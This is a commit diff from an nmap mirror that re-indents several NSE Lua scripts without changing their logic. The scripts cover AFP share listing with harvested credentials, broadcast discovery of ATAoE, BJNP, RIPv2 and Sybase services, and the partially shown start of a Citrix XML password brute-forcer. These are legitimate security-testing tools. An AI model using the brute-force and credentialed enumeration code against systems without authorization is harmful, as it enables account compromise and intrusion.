1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 21:21:31 +00:00

Re-indent some scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 21:01:26 +00:00
parent 298be5bfaa
commit c7d4f2ec96
50 changed files with 4135 additions and 4135 deletions

View File

@@ -66,105 +66,105 @@ dependencies = {"afp-brute"}
portrule = shortport.portnumber(548, "tcp")
local function createFileTable()
local filetab = tab.new()
local filetab = tab.new()
tab.add(filetab, 1, "PERMISSION")
tab.add(filetab, 2, "UID")
tab.add(filetab, 3, "GID")
tab.add(filetab, 4, "SIZE")
tab.add(filetab, 5, "TIME")
tab.add(filetab, 6, "FILENAME")
tab.nextrow(filetab)
tab.add(filetab, 1, "PERMISSION")
tab.add(filetab, 2, "UID")
tab.add(filetab, 3, "GID")
tab.add(filetab, 4, "SIZE")
tab.add(filetab, 5, "TIME")
tab.add(filetab, 6, "FILENAME")
tab.nextrow(filetab)
return filetab
return filetab
end
action = function(host, port)
local afpHelper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
local output = {}
local afpHelper = afp.Helper:new()
local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' }
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
local output = {}
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
if ( args['afp.username'] ) then
users = {}
users[args['afp.username']] = args['afp.password']
end
for username, password in pairs(users) do
for username, password in pairs(users) do
local status, response = afpHelper:OpenSession(host, port)
if ( not status ) then
stdnse.print_debug(response)
return
end
local status, response = afpHelper:OpenSession(host, port)
if ( not status ) then
stdnse.print_debug(response)
return
end
-- if we have a username attempt to authenticate as the user
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afpHelper:Login(username, password)
else
status, response = afpHelper:Login()
end
-- if we have a username attempt to authenticate as the user
-- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then
status, response = afpHelper:Login(username, password)
else
status, response = afpHelper:Login()
end
if ( not status ) then
stdnse.print_debug("afp-showmount: Login failed", response)
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
return
end
if ( not status ) then
stdnse.print_debug("afp-showmount: Login failed", response)
stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
return
end
local vols
status, vols = afpHelper:ListShares()
status, vols = afpHelper:ListShares()
if status then
for _, vol in ipairs( vols ) do
local status, tbl = afpHelper:Dir( vol )
if ( not(status) ) then
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
end
if status then
for _, vol in ipairs( vols ) do
local status, tbl = afpHelper:Dir( vol )
if ( not(status) ) then
return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
end
local file_tab = createFileTable()
local counter = maxfiles or 10
for _, item in ipairs(tbl[1]) do
if ( item and item.name ) then
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
if ( status ) then
local status, fsize = afpHelper:GetFileSize( vol, item.name)
if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
end
local status, date = afpHelper:GetFileDates( vol, item.name)
if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
end
local file_tab = createFileTable()
local counter = maxfiles or 10
for _, item in ipairs(tbl[1]) do
if ( item and item.name ) then
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
if ( status ) then
local status, fsize = afpHelper:GetFileSize( vol, item.name)
if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
end
local status, date = afpHelper:GetFileDates( vol, item.name)
if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
end
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
counter = counter - 1
end
end
if ( counter == 0 ) then break end
end
local result_part = { name = vol }
table.insert(result_part, tab.dump(file_tab))
table.insert(output, result_part)
end
end
counter = counter - 1
end
end
if ( counter == 0 ) then break end
end
local result_part = { name = vol }
table.insert(result_part, tab.dump(file_tab))
table.insert(output, result_part)
end
end
status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession()
status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession()
-- stop after first succesfull attempt
if ( output and #output > 0 ) then
table.insert(output, "")
table.insert(output, ("Information retrieved as: %s"):format(username))
if ( maxfiles > 0 ) then
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
end
return stdnse.format_output(true, output)
end
end
return
-- stop after first succesfull attempt
if ( output and #output > 0 ) then
table.insert(output, "")
table.insert(output, ("Information retrieved as: %s"):format(username))
if ( maxfiles > 0 ) then
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
end
return stdnse.format_output(true, output)
end
end
return
end

View File

@@ -37,140 +37,140 @@ prerule = function() return true end
-- The minimalistic ATAoE interface
ATAoE = {
-- Supported commands
Cmd = {
QUERY_CONFIG_INFORMATION = 1,
},
-- Supported commands
Cmd = {
QUERY_CONFIG_INFORMATION = 1,
},
Header = {
-- creates a new Header instance
new = function(self, cmd, tag)
local o = {
version = 1,
flags = 0,
major = 0xffff,
minor = 0xff,
error = 0,
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
tag = tag or createRandomTag(),
}
setmetatable(o, self)
self.__index = self
return o
end,
Header = {
-- creates a new Header instance
new = function(self, cmd, tag)
local o = {
version = 1,
flags = 0,
major = 0xffff,
minor = 0xff,
error = 0,
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
tag = tag or createRandomTag(),
}
setmetatable(o, self)
self.__index = self
return o
end,
-- parses a raw string of data and creates a new Header instance
-- @return header new instance of header
parse = function(data)
local header = ATAoE.Header:new()
local pos, verflags
-- parses a raw string of data and creates a new Header instance
-- @return header new instance of header
parse = function(data)
local header = ATAoE.Header:new()
local pos, verflags
pos, verflags, header.error,
header.major, header.minor,
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
header.version = bit.rshift(verflags, 4)
header.flags = bit.band(verflags, 0x0F)
return header
end,
pos, verflags, header.error,
header.major, header.minor,
header.cmd, header.tag = bin.unpack(">CCSCCI", data)
header.version = bit.rshift(verflags, 4)
header.flags = bit.band(verflags, 0x0F)
return header
end,
-- return configuration info request as string
__tostring = function(self)
assert(self.tag, "No tag was specified in Config Info Request")
local verflags = bit.lshift(self.version, 4)
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
end,
},
-- return configuration info request as string
__tostring = function(self)
assert(self.tag, "No tag was specified in Config Info Request")
local verflags = bit.lshift(self.version, 4)
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
end,
},
-- The Configuration Info Request
ConfigInfoRequest = {
new = function(self, tag)
local o = {
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
}
setmetatable(o, self)
self.__index = self
return o
end,
-- The Configuration Info Request
ConfigInfoRequest = {
new = function(self, tag)
local o = {
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
}
setmetatable(o, self)
self.__index = self
return o
end,
__tostring = function(self)
return tostring(self.header)
end,
}
__tostring = function(self)
return tostring(self.header)
end,
}
}
-- Creates a random AoE header tag
function createRandomTag()
local str = ""
for i=1, 4 do str = str .. string.char(math.random(255)) end
return select(2, bin.unpack(">I", str))
local str = ""
for i=1, 4 do str = str .. string.char(math.random(255)) end
return select(2, bin.unpack(">I", str))
end
-- Send a Config Info Request to the ethernet broadcast address
-- @param iface table as returned by nmap.get_interface_info()
local function sendConfigInfoRequest(iface)
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
local req = ATAoE.ConfigInfoRequest:new()
local tag = req.tag
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
local req = ATAoE.ConfigInfoRequest:new()
local tag = req.tag
local p = packet.Frame:new()
p.mac_src = iface.mac
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
p.ether_type = bin.pack(">S", P_ATAOE)
p.buf = tostring(req)
p:build_ether_frame()
local p = packet.Frame:new()
p.mac_src = iface.mac
p.mac_dst = packet.mactobin(ETHER_BROADCAST)
p.ether_type = bin.pack(">S", P_ATAOE)
p.buf = tostring(req)
p:build_ether_frame()
local dnet = nmap.new_dnet()
dnet:ethernet_open(iface.device)
dnet:ethernet_send(p.frame_buf)
dnet:ethernet_close()
local dnet = nmap.new_dnet()
dnet:ethernet_open(iface.device)
dnet:ethernet_send(p.frame_buf)
dnet:ethernet_close()
end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function()
local iname = nmap.get_interface()
if ( not(iname) ) then
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
return
end
local iname = nmap.get_interface()
if ( not(iname) ) then
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
return
end
if ( not(nmap.is_privileged()) ) then
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
return
end
if ( not(nmap.is_privileged()) ) then
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
return
end
local iface = nmap.get_interface_info(iname)
if ( not(iface) ) then
return fail("Failed to retrieve interface information")
end
local iface = nmap.get_interface_info(iname)
if ( not(iface) ) then
return fail("Failed to retrieve interface information")
end
local pcap = nmap.new_socket()
pcap:set_timeout(5000)
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
local pcap = nmap.new_socket()
pcap:set_timeout(5000)
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
sendConfigInfoRequest(iface)
sendConfigInfoRequest(iface)
local result = {}
repeat
local status, len, l2_data, l3_data = pcap:pcap_receive()
local result = {}
repeat
local status, len, l2_data, l3_data = pcap:pcap_receive()
if ( status ) then
local header = ATAoE.Header.parse(l3_data)
local f = packet.Frame:new(l2_data)
f:ether_parse()
if ( status ) then
local header = ATAoE.Header.parse(l3_data)
local f = packet.Frame:new(l2_data)
f:ether_parse()
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
stdnse.format_mac(f.mac_src),
header.version,
header.major,
header.minor)
table.insert(result, str)
end
until( not(status) )
pcap:pcap_close()
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
stdnse.format_mac(f.mac_src),
header.version,
header.major,
header.minor)
table.insert(result, str)
end
until( not(status) )
pcap:pcap_close()
if ( #result > 0 ) then
return stdnse.format_output(true, result)
end
if ( #result > 0 ) then
return stdnse.format_output(true, result)
end
end

View File

@@ -44,131 +44,131 @@ local scanner_port = { number = 8612, protocol = "udp"}
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
prerule = function()
if ( nmap.address_family() ~= 'inet' ) then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
if ( nmap.address_family() ~= 'inet' ) then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false
end
return true
end
local function identifyDevices(devices, devtype)
local result
local port = ( "printers" == devtype and printer_port or scanner_port )
for _, ip in ipairs(devices or {}) do
local helper = bjnp.Helper:new({ ip = ip }, port)
if ( helper:connect() ) then
local status, attrs
if ( "printers" == devtype ) then
status, attrs = helper:getPrinterIdentity()
end
if ( "scanners" == devtype ) then
status, attrs = helper:getScannerIdentity()
end
if ( status ) then
result = result or {}
result[ip] = attrs
end
end
helper:close()
end
return result
local result
local port = ( "printers" == devtype and printer_port or scanner_port )
for _, ip in ipairs(devices or {}) do
local helper = bjnp.Helper:new({ ip = ip }, port)
if ( helper:connect() ) then
local status, attrs
if ( "printers" == devtype ) then
status, attrs = helper:getPrinterIdentity()
end
if ( "scanners" == devtype ) then
status, attrs = helper:getScannerIdentity()
end
if ( status ) then
result = result or {}
result[ip] = attrs
end
end
helper:close()
end
return result
end
local function identifyScanners(scanners)
return identifyDevices(scanners, "scanners")
return identifyDevices(scanners, "scanners")
end
local function identifyPrinters(printers)
return identifyDevices(printers, "printers")
return identifyDevices(printers, "printers")
end
local function getKeys(devices)
local dupes = {}
local function iter()
for k, _ in pairs(devices) do
for k2, _ in pairs(devices[k]) do
if ( not(dupes[k2]) ) then
dupes[k2] = true
coroutine.yield(k2)
end
end
end
coroutine.yield(nil)
end
return coroutine.wrap(iter)
local dupes = {}
local function iter()
for k, _ in pairs(devices) do
for k2, _ in pairs(devices[k]) do
if ( not(dupes[k2]) ) then
dupes[k2] = true
coroutine.yield(k2)
end
end
end
coroutine.yield(nil)
end
return coroutine.wrap(iter)
end
local function getPrinters(devices)
local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then
condvar "signal"
return
end
local status, printers = helper:discoverPrinter()
helper:close()
if ( status ) then
devices["printers"] = identifyPrinters(printers)
end
condvar "signal"
local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then
condvar "signal"
return
end
local status, printers = helper:discoverPrinter()
helper:close()
if ( status ) then
devices["printers"] = identifyPrinters(printers)
end
condvar "signal"
end
local function getScanners(devices)
local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then
condvar "signal"
return
end
local status, scanners = helper:discoverScanner()
helper:close()
if ( status ) then
devices["scanners"] = identifyScanners(scanners)
end
condvar "signal"
local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then
condvar "signal"
return
end
local status, scanners = helper:discoverScanner()
helper:close()
if ( status ) then
devices["scanners"] = identifyScanners(scanners)
end
condvar "signal"
end
action = function()
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
local devices, result, threads = {}, {}, {}
local condvar = nmap.condvar(devices)
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
local devices, result, threads = {}, {}, {}
local condvar = nmap.condvar(devices)
local co = stdnse.new_thread(getPrinters, devices)
threads[co] = true
local co = stdnse.new_thread(getPrinters, devices)
threads[co] = true
co = stdnse.new_thread(getScanners, devices)
threads[co] = true
co = stdnse.new_thread(getScanners, devices)
threads[co] = true
while(next(threads)) do
for t in pairs(threads) do
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
end
if ( next(threads) ) then
condvar "wait"
end
end
while(next(threads)) do
for t in pairs(threads) do
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
end
if ( next(threads) ) then
condvar "wait"
end
end
for ip in getKeys(devices) do
local result_part = {}
local printer = ( devices["printers"] and devices["printers"][ip] )
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
for ip in getKeys(devices) do
local result_part = {}
local printer = ( devices["printers"] and devices["printers"][ip] )
local scanner = ( devices["scanners"] and devices["scanners"][ip] )
if ( printer ) then
printer.name = "Printer"
table.insert(result_part, printer)
end
if ( scanner ) then
scanner.name = "Scanner"
table.insert(result_part, scanner)
end
if ( #result_part > 0 ) then
result_part.name = ip
table.insert(result, result_part)
end
end
if ( printer ) then
printer.name = "Printer"
table.insert(result_part, printer)
end
if ( scanner ) then
scanner.name = "Scanner"
table.insert(result_part, scanner)
end
if ( #result_part > 0 ) then
result_part.name = ip
table.insert(result, result_part)
end
end
if ( result ) then
return stdnse.format_output(true, result)
end
if ( result ) then
return stdnse.format_output(true, result)
end
end

View File

@@ -48,134 +48,134 @@ prerule = function() return not( nmap.address_family() == "inet6") end
RIPv2 = {
Command = {
Request = 1,
Response = 2,
},
Command = {
Request = 1,
Response = 2,
},
AddressFamily = {
IP = 2,
},
AddressFamily = {
IP = 2,
},
-- The Request class contains functions to build a RIPv2 Request
Request = {
-- The Request class contains functions to build a RIPv2 Request
Request = {
-- Creates a new Request instance
--
-- @param command number containing the RIPv2 Command to use
-- @return o instance of request
new = function(self, command)
local o = {
version = 2,
command = command,
domain = 0,
family = 0,
tag = 0,
address = 0,
subnet = 0,
nexthop = 0,
metric = 16
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Request instance
--
-- @param command number containing the RIPv2 Command to use
-- @return o instance of request
new = function(self, command)
local o = {
version = 2,
command = command,
domain = 0,
family = 0,
tag = 0,
address = 0,
subnet = 0,
nexthop = 0,
metric = 16
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Converts the whole request to a string
__tostring = function(self)
assert(self.command, "No command was supplied")
assert(self.metric, "No metric was supplied")
assert(self.address, "No address was supplied")
local RESERVED = 0
-- RIPv2 stuff, should be 0 for RIPv1
local tag, subnet, nexthop = 0, 0, 0
-- Converts the whole request to a string
__tostring = function(self)
assert(self.command, "No command was supplied")
assert(self.metric, "No metric was supplied")
assert(self.address, "No address was supplied")
local RESERVED = 0
-- RIPv2 stuff, should be 0 for RIPv1
local tag, subnet, nexthop = 0, 0, 0
local data = bin.pack(">CCSSSIIII",
self.command, self.version, self.domain, self.family, self.tag,
self.address, self.subnet, self.nexthop, self.metric)
local data = bin.pack(">CCSSSIIII",
self.command, self.version, self.domain, self.family, self.tag,
self.address, self.subnet, self.nexthop, self.metric)
return data
end,
return data
end,
},
},
-- The Response class contains code needed to parse a RIPv2 response
Response = {
-- The Response class contains code needed to parse a RIPv2 response
Response = {
-- Creates a new Response instance based on raw socket data
--
-- @param data string containing the raw socket response
-- @return o Response instance
new = function(self, data)
local o = { data = data }
-- Creates a new Response instance based on raw socket data
--
-- @param data string containing the raw socket response
-- @return o Response instance
new = function(self, data)
local o = { data = data }
if ( not(data) or #data < 3 ) then
return
end
local pos
pos, o.command, o.version = bin.unpack(">CCS", data)
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
return
end
if ( not(data) or #data < 3 ) then
return
end
local pos
pos, o.command, o.version = bin.unpack(">CCS", data)
if ( o.command ~= RIPv2 and o.version ~= 2 ) then
return
end
local routes = tab.new(2)
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
local routes = tab.new(2)
tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
while( #data - pos >= 20 ) do
local family, address, metric, _, netmask, nexthop
pos, family, _, address, netmask, nexthop,
metric = bin.unpack(">SS<III>I", data, pos)
while( #data - pos >= 20 ) do
local family, address, metric, _, netmask, nexthop
pos, family, _, address, netmask, nexthop,
metric = bin.unpack(">SS<III>I", data, pos)
if ( family == RIPv2.AddressFamily.IP ) then
local ip = ipOps.fromdword(address)
netmask = ipOps.fromdword(netmask)
nexthop = ipOps.fromdword(nexthop)
tab.addrow(routes, ip, netmask, nexthop, metric)
end
end
if ( family == RIPv2.AddressFamily.IP ) then
local ip = ipOps.fromdword(address)
netmask = ipOps.fromdword(netmask)
nexthop = ipOps.fromdword(nexthop)
tab.addrow(routes, ip, netmask, nexthop, metric)
end
end
if ( #routes > 1 ) then o.routes = routes end
if ( #routes > 1 ) then o.routes = routes end
setmetatable(o, self)
self.__index = self
return o
end,
setmetatable(o, self)
self.__index = self
return o
end,
}
}
}
action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
timeout = (timeout or 5) * 1000
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
timeout = (timeout or 5) * 1000
local socket = nmap.new_socket("udp")
socket:set_timeout(timeout)
local socket = nmap.new_socket("udp")
socket:set_timeout(timeout)
local rip = RIPv2.Request:new(RIPv2.Command.Request)
local status, err = socket:sendto("224.0.0.9",
{ number = 520, protocol = "udp" },
tostring(rip))
local result = {}
repeat
local data
status, data = socket:receive()
if ( status ) then
local status, _, _, rhost, _ = socket:get_info()
local response = RIPv2.Response:new(data)
table.insert(result, rhost)
local rip = RIPv2.Request:new(RIPv2.Command.Request)
local status, err = socket:sendto("224.0.0.9",
{ number = 520, protocol = "udp" },
tostring(rip))
local result = {}
repeat
local data
status, data = socket:receive()
if ( status ) then
local status, _, _, rhost, _ = socket:get_info()
local response = RIPv2.Response:new(data)
table.insert(result, rhost)
if ( response and response.routes and #response.routes > 0 ) then
--response.routes.name = "Routes"
table.insert(result, { tab.dump(response.routes) } )
end
if ( response and response.routes and #response.routes > 0 ) then
--response.routes.name = "Routes"
table.insert(result, { tab.dump(response.routes) } )
end
end
until( not(status) )
end
until( not(status) )
if ( #result > 0 ) then
result.name = "Discovered RIPv2 devices"
end
return stdnse.format_output(true, result)
if ( #result > 0 ) then
result.name = "Discovered RIPv2 devices"
end
return stdnse.format_output(true, result)
end

View File

@@ -32,157 +32,157 @@ prerule = function() return ( nmap.address_family() == "inet") end
--
Ping = {
-- The PING request class
Request = {
-- The PING request class
Request = {
-- Creates a new Ping request
new = function(self)
local o = {}
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new Ping request
new = function(self)
local o = {}
setmetatable(o, self)
self.__index = self
return o
end,
-- returns the ping request as a string
__tostring = function(self)
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
"000000010000040005000500000102000003010104080000000000000000070204b1")
end
},
-- returns the ping request as a string
__tostring = function(self)
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
"000000010000040005000500000102000003010104080000000000000000070204b1")
end
},
-- The Ping Response class
Response = {
-- Creates a new response
-- @param data string containing the raw data as received over the socket
-- @return o instance of Response
new = function(self, data)
local o = { data = data }
setmetatable(o, self)
self.__index = self
o:parse()
if ( o.dbinstance ) then
return o
end
end,
-- The Ping Response class
Response = {
-- Creates a new response
-- @param data string containing the raw data as received over the socket
-- @return o instance of Response
new = function(self, data)
local o = { data = data }
setmetatable(o, self)
self.__index = self
o:parse()
if ( o.dbinstance ) then
return o
end
end,
-- Parses the raw response and populates the
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
parse = function(self)
-- do a very basic length check
local pos, len = bin.unpack(">I", self.data)
len = bit.band(len, 0x0000FFFF)
-- Parses the raw response and populates the
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
parse = function(self)
-- do a very basic length check
local pos, len = bin.unpack(">I", self.data)
len = bit.band(len, 0x0000FFFF)
if ( len ~= #self.data ) then
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
return
end
if ( len ~= #self.data ) then
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
return
end
local connectionless_tds
pos, connectionless_tds = bin.unpack("p", self.data, 9)
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
return
end
local connectionless_tds
pos, connectionless_tds = bin.unpack("p", self.data, 9)
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
return
end
self.dbinstance = {}
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
pos = pos + 2
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
end,
}
self.dbinstance = {}
pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
pos = pos + 2
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
end,
}
}
-- Main script interface
Helper = {
-- Creates a new helper instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param options table containing:
-- <code>timeout</code> - the amount of time to listen for responses
-- @return o instance of Helper
new = function(self, host, port, options)
local o = {
host = host,
port = port,
options = options or {}
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Creates a new helper instance
-- @param host table as received by the action method
-- @param port table as received by the action method
-- @param options table containing:
-- <code>timeout</code> - the amount of time to listen for responses
-- @return o instance of Helper
new = function(self, host, port, options)
local o = {
host = host,
port = port,
options = options or {}
}
setmetatable(o, self)
self.__index = self
return o
end,
-- Sends a ping request to the service and processes the response
-- @return status true on success, false on failure
-- @return instances table of instance tables containing
-- <code>name</code> - the instance name
-- <code>ip</code> - the instance ip
-- <code>port</code> - the instance port
-- err string containing error message on failure
ping = function(self)
local socket = nmap.new_socket("udp")
socket:set_timeout(1000)
-- Sends a ping request to the service and processes the response
-- @return status true on success, false on failure
-- @return instances table of instance tables containing
-- <code>name</code> - the instance name
-- <code>ip</code> - the instance ip
-- <code>port</code> - the instance port
-- err string containing error message on failure
ping = function(self)
local socket = nmap.new_socket("udp")
socket:set_timeout(1000)
-- send 2 packets just in case
for i=1, 2 do
local ping_req = Ping.Request:new()
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
if ( not(status) ) then
return false, "Failed to send broadcast packet"
end
end
-- send 2 packets just in case
for i=1, 2 do
local ping_req = Ping.Request:new()
local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
if ( not(status) ) then
return false, "Failed to send broadcast packet"
end
end
local stime = os.time()
local instances = {}
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
local stime = os.time()
local instances = {}
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
repeat
local status, data = socket:receive()
if ( status ) then
local response = Ping.Response:new(data)
if ( response ) then
local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then
socket:close()
return false, "Failed to get socket information"
end
response.dbinstance.ip = rhost
-- avoid duplicates
instances[response.dbinstance.name] = response.dbinstance
end
end
until( os.time() - stime > timeout )
socket:close()
repeat
local status, data = socket:receive()
if ( status ) then
local response = Ping.Response:new(data)
if ( response ) then
local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then
socket:close()
return false, "Failed to get socket information"
end
response.dbinstance.ip = rhost
-- avoid duplicates
instances[response.dbinstance.name] = response.dbinstance
end
end
until( os.time() - stime > timeout )
socket:close()
return true, instances
end,
return true, instances
end,
}
action = function()
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
local host = { ip = "255.255.255.255" }
local port = { number = 2638, protocol = "udp" }
local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
local host = { ip = "255.255.255.255" }
local port = { number = 2638, protocol = "udp" }
local helper = Helper:new(host, port)
local status, instances = helper:ping()
local helper = Helper:new(host, port)
local status, instances = helper:ping()
if ( not(status) ) then
return ("\n ERROR: %s"):format(instances)
end
if ( not(status) ) then
return ("\n ERROR: %s"):format(instances)
end
-- if we don't have any instances, silently abort
if ( next(instances) == nil ) then
return
end
-- if we don't have any instances, silently abort
if ( next(instances) == nil ) then
return
end
local result = {}
for _, instance in pairs(instances) do
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
end
table.sort(result)
return stdnse.format_output(true, result)
local result = {}
for _, instance in pairs(instances) do
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
end
table.sort(result)
return stdnse.format_output(true, result)
end

View File

@@ -52,42 +52,42 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
--
function verify_password( host, port, username, password, domain )
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
local cred_status = citrixxml.parse_validate_credentials_response(response)
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
local cred_status = citrixxml.parse_validate_credentials_response(response)
local account = {}
local account = {}
account.username = username
account.password = password
account.domain = domain
account.username = username
account.password = password
account.domain = domain
if cred_status.ErrorId then
if cred_status.ErrorId == "must-change-credentials" then
account.valid = true
account.message = "Must change password at next logon"
elseif cred_status.ErrorId == "account-disabled" then
account.valid = true
account.message = "Account is disabled"
elseif cred_status.ErrorId == "account-locked-out" then
account.valid = false
account.message = "Account Locked Out"
elseif cred_status.ErrorId == "failed-credentials" then
account.valid = false
account.message = "Incorrect Password"
elseif cred_status.ErrorId == "unspecified" then
account.valid = false
account.message = "Unspecified"
else
stdnse.print_debug("UNKNOWN response: " .. response)
account.valid = false
account.message = "failed"
end
else
account.message = "Login was successful"
account.valid = true
end
if cred_status.ErrorId then
if cred_status.ErrorId == "must-change-credentials" then
account.valid = true
account.message = "Must change password at next logon"
elseif cred_status.ErrorId == "account-disabled" then
account.valid = true
account.message = "Account is disabled"
elseif cred_status.ErrorId == "account-locked-out" then
account.valid = false
account.message = "Account Locked Out"
elseif cred_status.ErrorId == "failed-credentials" then
account.valid = false
account.message = "Incorrect Password"
elseif cred_status.ErrorId == "unspecified" then
account.valid = false
account.message = "Unspecified"
else
stdnse.print_debug("UNKNOWN response: " .. response)
account.valid = false
account.message = "failed"
end
else
account.message = "Login was successful"
account.valid = true
end
return account
return account
end
@@ -97,68 +97,68 @@ end
-- @return string containing the result
function create_result_from_table(accounts)
local result = ""
local result = ""
for _, account in ipairs(accounts) do
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
end
for _, account in ipairs(accounts) do
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
end
return "\n" .. result
return "\n" .. result
end
action = function(host, port)
local status, nextUser, nextPass
local username, password
local args = nmap.registry.args
local ntdomain = args.ntdomain
local valid_accounts = {}
local status, nextUser, nextPass
local username, password
local args = nmap.registry.args
local ntdomain = args.ntdomain
local valid_accounts = {}
if not ntdomain then
return "FAILED: No domain specified (use ntdomain argument)"
end
if not ntdomain then
return "FAILED: No domain specified (use ntdomain argument)"
end
status, nextUser = unpwdb.usernames()
